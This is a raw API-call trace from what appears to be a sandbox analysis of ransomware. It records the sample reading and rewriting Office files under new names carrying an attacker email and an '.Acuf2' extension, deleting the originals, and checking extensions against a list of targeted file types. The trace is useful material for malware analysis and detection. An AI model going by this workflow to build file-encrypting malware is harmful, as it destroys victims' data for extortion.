	[0261.107] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.107] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0261.107] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.107] CloseHandle (hObject=0x2a4) returned 1
	[0261.107] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.107] SetEndOfFile (hFile=0x360) returned 1
	[0261.109] CloseHandle (hObject=0x360) returned 1
	[0261.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 1
	[0261.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.110] lstrlenW (lpString=".doc") returned 4
	[0261.110] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0261.110] lstrlenW (lpString=".docx") returned 5
	[0261.110] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0261.110] lstrlenW (lpString=".pdf") returned 4
	[0261.110] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0261.110] lstrlenW (lpString=".xls") returned 4
	[0261.110] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0261.110] lstrlenW (lpString=".xlsx") returned 5
	[0261.110] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0261.110] lstrlenW (lpString=".ppt") returned 4
	[0261.110] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0261.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.110] lstrlenW (lpString=".zip") returned 4
	[0261.110] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0261.110] lstrlenW (lpString=".rar") returned 4
	[0261.110] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0261.110] lstrlenW (lpString=".bz2") returned 4
	[0261.110] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0261.110] lstrlenW (lpString=".7z") returned 3
	[0261.110] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0261.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.110] lstrlenW (lpString=".dbf") returned 4
	[0261.111] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0261.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.111] lstrlenW (lpString=".1cd") returned 4
	[0261.111] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0261.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.111] lstrlenW (lpString=".jpg") returned 4
	[0261.111] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0261.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.111] lstrlenW (lpString=".doc") returned 4
	[0261.111] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0261.111] lstrlenW (lpString=".docx") returned 5
	[0261.111] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0261.111] lstrlenW (lpString=".pdf") returned 4
	[0261.111] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0261.111] lstrlenW (lpString=".xls") returned 4
	[0261.111] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0261.111] lstrlenW (lpString=".xlsx") returned 5
	[0261.111] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0261.111] lstrlenW (lpString=".ppt") returned 4
	[0261.111] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0261.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.111] lstrlenW (lpString=".zip") returned 4
	[0261.111] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0261.111] lstrlenW (lpString=".rar") returned 4
	[0261.111] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0261.111] lstrlenW (lpString=".bz2") returned 4
	[0261.111] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0261.111] lstrlenW (lpString=".7z") returned 3
	[0261.111] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0261.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.112] lstrlenW (lpString=".dbf") returned 4
	[0261.112] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0261.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.112] lstrlenW (lpString=".1cd") returned 4
	[0261.112] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0261.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65
	[0261.112] lstrlenW (lpString=".jpg") returned 4
	[0261.112] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0261.112] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0261.112] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19
	[0261.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.112] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=114) returned 1
	[0261.112] CloseHandle (hObject=0x360) returned 1
	[0261.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 0x20
	[0261.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.113] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.113] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.113] GetLastError () returned 0x0
	[0261.113] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x72, lpOverlapped=0x0) returned 1
	[0261.114] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0261.115] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.115] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0261.115] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.115] CloseHandle (hObject=0x2a4) returned 1
	[0261.115] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.115] SetEndOfFile (hFile=0x360) returned 1
	[0261.117] CloseHandle (hObject=0x360) returned 1
	[0261.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 1
	[0261.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.118] lstrlenW (lpString=".doc") returned 4
	[0261.118] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.118] lstrlenW (lpString=".docx") returned 5
	[0261.118] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.118] lstrlenW (lpString=".pdf") returned 4
	[0261.118] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.118] lstrlenW (lpString=".xls") returned 4
	[0261.118] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.118] lstrlenW (lpString=".xlsx") returned 5
	[0261.118] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.118] lstrlenW (lpString=".ppt") returned 4
	[0261.118] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.118] lstrlenW (lpString=".zip") returned 4
	[0261.118] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.118] lstrlenW (lpString=".rar") returned 4
	[0261.118] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.118] lstrlenW (lpString=".bz2") returned 4
	[0261.118] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.118] lstrlenW (lpString=".7z") returned 3
	[0261.119] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.119] lstrlenW (lpString=".dbf") returned 4
	[0261.119] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.119] lstrlenW (lpString=".1cd") returned 4
	[0261.119] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.119] lstrlenW (lpString=".jpg") returned 4
	[0261.119] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.119] lstrlenW (lpString=".doc") returned 4
	[0261.119] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.119] lstrlenW (lpString=".docx") returned 5
	[0261.119] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.119] lstrlenW (lpString=".pdf") returned 4
	[0261.119] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.119] lstrlenW (lpString=".xls") returned 4
	[0261.119] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.119] lstrlenW (lpString=".xlsx") returned 5
	[0261.119] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.119] lstrlenW (lpString=".ppt") returned 4
	[0261.119] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.119] lstrlenW (lpString=".zip") returned 4
	[0261.119] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.119] lstrlenW (lpString=".rar") returned 4
	[0261.119] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.119] lstrlenW (lpString=".bz2") returned 4
	[0261.119] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.119] lstrlenW (lpString=".7z") returned 3
	[0261.120] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.120] lstrlenW (lpString=".dbf") returned 4
	[0261.120] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.120] lstrlenW (lpString=".1cd") returned 4
	[0261.120] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67
	[0261.120] lstrlenW (lpString=".jpg") returned 4
	[0261.120] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.120] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0261.120] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19
	[0261.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.120] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=113) returned 1
	[0261.120] CloseHandle (hObject=0x360) returned 1
	[0261.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 0x20
	[0261.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.121] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.121] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.121] GetLastError () returned 0x0
	[0261.121] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x71, lpOverlapped=0x0) returned 1
	[0261.124] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0261.125] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.125] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0261.125] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.125] CloseHandle (hObject=0x2a4) returned 1
	[0261.125] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.125] SetEndOfFile (hFile=0x360) returned 1
	[0261.129] CloseHandle (hObject=0x360) returned 1
	[0261.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 1
	[0261.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.130] lstrlenW (lpString=".doc") returned 4
	[0261.130] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.130] lstrlenW (lpString=".docx") returned 5
	[0261.130] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.130] lstrlenW (lpString=".pdf") returned 4
	[0261.130] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.130] lstrlenW (lpString=".xls") returned 4
	[0261.130] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.130] lstrlenW (lpString=".xlsx") returned 5
	[0261.130] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.130] lstrlenW (lpString=".ppt") returned 4
	[0261.130] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.130] lstrlenW (lpString=".zip") returned 4
	[0261.130] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.130] lstrlenW (lpString=".rar") returned 4
	[0261.131] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.131] lstrlenW (lpString=".bz2") returned 4
	[0261.131] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.131] lstrlenW (lpString=".7z") returned 3
	[0261.131] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.131] lstrlenW (lpString=".dbf") returned 4
	[0261.131] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.131] lstrlenW (lpString=".1cd") returned 4
	[0261.131] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.131] lstrlenW (lpString=".jpg") returned 4
	[0261.131] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.131] lstrlenW (lpString=".doc") returned 4
	[0261.131] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.131] lstrlenW (lpString=".docx") returned 5
	[0261.131] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.131] lstrlenW (lpString=".pdf") returned 4
	[0261.131] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.131] lstrlenW (lpString=".xls") returned 4
	[0261.131] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.131] lstrlenW (lpString=".xlsx") returned 5
	[0261.131] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.131] lstrlenW (lpString=".ppt") returned 4
	[0261.131] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.131] lstrlenW (lpString=".zip") returned 4
	[0261.131] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.132] lstrlenW (lpString=".rar") returned 4
	[0261.132] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.132] lstrlenW (lpString=".bz2") returned 4
	[0261.132] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.132] lstrlenW (lpString=".7z") returned 3
	[0261.132] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.132] lstrlenW (lpString=".dbf") returned 4
	[0261.132] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.132] lstrlenW (lpString=".1cd") returned 4
	[0261.132] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67
	[0261.132] lstrlenW (lpString=".jpg") returned 4
	[0261.132] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.132] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0261.132] lstrlenW (lpString="EXCEL.HXS") returned 9
	[0261.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.132] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=7827686) returned 1
	[0261.132] CloseHandle (hObject=0x360) returned 1
	[0261.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0x20
	[0261.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0261.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.133] lstrlenW (lpString=".doc") returned 4
	[0261.133] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0261.133] lstrlenW (lpString=".docx") returned 5
	[0261.133] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1
	[0261.133] lstrlenW (lpString=".pdf") returned 4
	[0261.133] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0261.133] lstrlenW (lpString=".xls") returned 4
	[0261.133] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0261.133] lstrlenW (lpString=".xlsx") returned 5
	[0261.133] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1
	[0261.133] lstrlenW (lpString=".ppt") returned 4
	[0261.133] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0261.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.133] lstrlenW (lpString=".zip") returned 4
	[0261.133] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0261.133] lstrlenW (lpString=".rar") returned 4
	[0261.133] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0261.133] lstrlenW (lpString=".bz2") returned 4
	[0261.133] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
